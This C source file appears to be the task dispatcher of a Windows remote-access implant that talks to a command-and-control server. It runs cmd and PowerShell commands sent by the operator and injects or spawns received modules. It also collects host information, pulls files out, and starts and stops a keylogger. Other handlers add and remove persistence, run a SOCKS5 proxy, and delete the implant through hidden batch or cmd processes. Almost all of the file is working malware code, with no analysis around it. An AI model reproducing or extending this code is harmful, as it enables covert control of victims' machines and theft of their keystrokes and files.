#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "config.h"

size_t STD_BUFF = 1024;
size_t BIG_BUFF = 8192;

// Temporarily holds task id after parsing task message
char* currentTaskID = NULL;

// Prototyping
DWORD WINAPI StartKeylogger(void);
DWORD WINAPI StartKeylogTimer(LPVOID lpParam);

// Report result of task execution to server
void SendTaskResult(Transport* transport, char* task_type, char* result) {
    printf("Trying to send task result\n");

    char* actual_task_type = task_type;
    char default_type[] = "TASKRESULT";

    if (strcmp(task_type, "") == 0) {
        actual_task_type = default_type;
    }

    size_t task_len = strlen(actual_task_type);
    size_t agentID_len = strlen(agentID);
    size_t result_len = strlen(result);

    size_t taskID_len;
    if (currentTaskID != NULL) {
        taskID_len = strlen(currentTaskID);
    } else {
        currentTaskID = "0";
        taskID_len = 1;
    }

    printf("Result: %s\n", result);

    // +4 for three '~' and null terminator
    size_t buffer_size = agentID_len + task_len + taskID_len + result_len + 4;

    char* message = (char*)malloc(buffer_size);
    if (message == NULL) {
        printf("Memory allocation failed\n");
        return;
    }

    snprintf(message, buffer_size, "%s~%s~%s~%s", agentID, actual_task_type, currentTaskID, result);

    printf("Sending formatted message (length: %zu)\n", strlen(message));
    printf("Message: %s\n", message);

    if (transport->send(transport->handle, message, strlen(message)) <= 0) {
        printf("Error sending task result.\n");
    }

    // Clean up
    memset(message, 0, buffer_size);
    free(message);

    // Clear taskID
    currentTaskID = NULL;
}

void ChangeSleepTime(char* result, size_t result_size, char* sleep_time_str) {
    int new_delay = atoi(sleep_time_str);
    reconnectDelay = new_delay * 1000;
    snprintf(result, result_size, "Sleep time updated to %d seconds\n", new_delay);
}

void ExecuteShell(char* result, char* command, char* type) {
    char full_command[STD_BUFF];
    if (strcmp(type, "cmd") == 0) {
        snprintf(full_command, sizeof(full_command), "%s 2>&1", command);
    } else if (strcmp(type, "ps") == 0) {
        snprintf(full_command, sizeof(full_command), "powershell -Command \"%s\" 2>&1", command);
    } else {
        strncpy(result, "Invalid command type", STD_BUFF - 1);
        result[STD_BUFF - 1] = '\0';
        return;
    }

    FILE* pipe = _popen(full_command, "r");
    if (!pipe) {
        strncpy(result, "Failed to execute command", STD_BUFF - 1);
        result[STD_BUFF - 1] = '\0';
        return;
    }

    char buffer[512];
    size_t current_size = 0;
    
    // Clear the result buffer
    result[0] = '\0';

    while (fgets(buffer, sizeof(buffer), pipe) && current_size < STD_BUFF - 1) {
        size_t chunk_size = strlen(buffer);
        
        // Check if we have enough space left in the result buffer
        if (current_size + chunk_size >= STD_BUFF) {
            chunk_size = STD_BUFF - current_size - 1;
        }
        
        // Copy the chunk into the result buffer
        memcpy(result + current_size, buffer, chunk_size);
        current_size += chunk_size;
        result[current_size] = '\0';
    }
    _pclose(pipe);

    if (current_size == 0) {
        strncpy(result, "Command executed but no output", STD_BUFF - 1);
        result[STD_BUFF - 1] = '\0';
    }
}

void SendSysInfo(char* result) {
    char osVersion[128] = {0};
    char architecture[128] = {0};
    char hostname[128] = {0};
    char username[128] = {0};
    char localIP[128] = {0};
    char procname[128] = {0};
    unsigned long* pid = 0;

    CollectSystemInfo(osVersion, architecture, hostname, username, localIP, procname, &pid);
    printf("PID: %lu\n", pid);

    char systemInfo[STD_BUFF];
    snprintf(systemInfo, sizeof(systemInfo),
        "%s|%s|%s|%s|%s|%s|%lu", osVersion, architecture, hostname, username, localIP, procname, pid);
    
    printf("Sysinfo string: %s\n", systemInfo);

    strcpy(result, systemInfo);
    // printf("Result: %s", result);

    // transport->send(transport->handle, systemInfo, strlen(systemInfo));
    // printf("System info sent to the server\n");
    // ReceiveResponse(transport);
}

#if ENABLE_KEYLOGGER
    void InitKeylogger(char* result) {
        printf("\n[KEYLOGGER] Starting keylogger...\n");
        hKeylogThread = CreateThread(0, 0, StartKeylogger, 0, 0, 0);
        if (hKeylogThread == NULL) {
            printf("\n[KEYLOGGER] Failed to create initialization thread.\n");
        }
        hKeylogTimerThread = CreateThread(0, 0, StartKeylogTimer, 0, 0, 0);
        if (hKeylogTimerThread == NULL) {
            printf("\n[KEYLOGGER] Failed to create keylog timer thread.\n");
        }
        sprintf(result, "Keylogger initialized!\n");
    }
#endif

#if CLEANUP_METHOD
    void Cleanup(char* result) {
        #if ENABLE_PERSISTENCE
        RemovePersistence(result);
        #endif
        char filename[MAX_PATH];
        char batfile[MAX_PATH];
        GetModuleFileName(NULL, filename, MAX_PATH);
        GetTempPath(MAX_PATH, batfile);
        strcat(batfile, "cleanup.bat");

        FILE* fp = fopen(batfile, "w");
        if (fp) {
            fprintf(fp, "@echo off\n");
            fprintf(fp, "timeout /t 1 /nobreak > nul\n");
            fprintf(fp, "del \"%s\"\n", filename);
            fprintf(fp, "del \"%s\"\n", batfile);
            fclose(fp);
            printf("Cleaning up...\n");
            ShellExecute(NULL, "open", batfile, NULL, NULL, SW_HIDE);
        }
        // exit(0);
    }
#else
    void Cleanup(char* result) {
        #if ENABLE_PERSISTENCE
            RemovePersistence(result);
        #endif
        char exePath[MAX_PATH];
        char cmd[MAX_PATH + 50];
        if (GetModuleFileName(NULL, exePath, MAX_PATH) == 0) {
            printf("Failed to get executable path.\n");
            return;
        }
        snprintf(cmd, sizeof(cmd), "cmd /c ping 8.8.8.8 -n 3 > nul && del \"%s\"", exePath);
        STARTUPINFO si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        if (CreateProcess(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
        // ExitProcess(0);
    }
#endif

// Differentiate between tasks
void HandleTask(Transport* transport, char* taskID, char* task_type, char* task_args) {
    char result[STD_BUFF];
    currentTaskID = taskID;

    if (strcmp(task_type, "sleep") == 0) {
        ChangeSleepTime(result, sizeof(result), task_args);
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "cmd") == 0) {
        ExecuteShell(result, task_args, "cmd");
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "powershell") == 0) {
        ExecuteShell(result, task_args, "ps");
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "runexe") == 0 || strcmp(task_type, "rundll") == 0) {
        ReceiveModule(result, transport, task_type, task_args);
    }
    else if (strcmp(task_type, "inject") == 0 || strcmp(task_type, "spawn") == 0) {
        ReceiveModule(result, transport, task_type, task_args);
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "files") == 0) {
        SendFiles(transport, NULL, 0);
    }
    else if (strcmp(task_type, "sysinfo") == 0) {
        SendSysInfo(result);
        SendTaskResult(transport, "SYSINFO", result);
    }
    else if (strcmp(task_type, "cd") == 0) {
        HandleDirectoryCommand(result, "cd", task_args);
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "pwd") == 0) {
        HandleDirectoryCommand(result, "pwd", task_args);
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "ls") == 0 || strcmp(task_type, "dir") == 0) {
        HandleDirectoryCommand(result, task_type, task_args);
        SendTaskResult(transport, "", result);
    }

    else if (strcmp(task_type, "ps") == 0) {
        printf("Server requested process list\n");
        char ps_result[BIG_BUFF];

        GetProcessList(ps_result, BIG_BUFF);
        SendTaskResult(transport, "PROCESS", ps_result);
        memset(ps_result, 0, BIG_BUFF);
    }

    else if (strcmp(task_type, "keylogger") == 0) {
        #if ENABLE_KEYLOGGER
            if (strncmp(task_args, "start", 5) == 0) {
                InitKeylogger(result);
                SendTaskResult(transport, "", result);
            } 
            else if (strncmp(task_args, "stop", 4) == 0) {
                StopKeylogger(result);
                SendTaskResult(transport, "", result);
            }
        #else
            SendTaskResult(transport, "", "Keylogger module wasn't included\n");
        #endif
    }

    else if (strcmp(task_type, "persistence") == 0) {
        #if ENABLE_PERSISTENCE
            if (strncmp(task_args, "add", 3) == 0) {
                CheckPersistence(result);
                SendTaskResult(transport, "", result);
            } else if (strncmp(task_args, "remove", 6) == 0) {
                RemovePersistence(result);
                SendTaskResult(transport, "", result);
            }
        #else
            SendTaskResult(transport, "", "Persistence module wasn't included\n");
        #endif
    }
    else if (strcmp(task_type, "download") == 0) {
        SendFiles(transport, &task_args, 1);
    }
    else if (strcmp(task_type, "upload") == 0) {
        UploadFile(result, transport, task_args);
        SendTaskResult(transport, "", result);
    }

    else if (strcmp(task_type, "proxy") == 0) {
        #if ENABLE_PROXY
            if (strcmp(task_args, "start") == 0) {
                printf("Trying to start proxy suit\n");

                InitSocks5_Server(result, 30889);
                StartProxyAgent(result + strlen(result), GetNextDomain(), 30889, "127.0.0.1", 30889);
                SendTaskResult(transport, "", result);
            }
            else if (strncmp(task_args, "stop", 6) == 0) {
                printf("Trying to stop proxy\n");

                StopSocks5_Server(result);
                StopProxyAgent(result + strlen(result));
                SendTaskResult(transport, "", result);
            }
        #else
            SendTaskResult(transport, "", "Proxy module wasn't included\n");
        #endif
    }

    else if (strcmp(task_type, "kill") == 0) {
        SendTaskResult(transport, "", "Why you did this to me...");
        exit(0);
    }
    else if (strcmp(task_type, "cleanup") == 0) {
        Cleanup(result);
        SendTaskResult(transport, "", "Cleaned up. Bye bye!");
        exit(0);
    }
    else {
        printf("Unknown command: %s\n", task_type);
        SendTaskResult(transport, "", "Unknown command type\n");
    }

    memset(result, 0, STD_BUFF);
}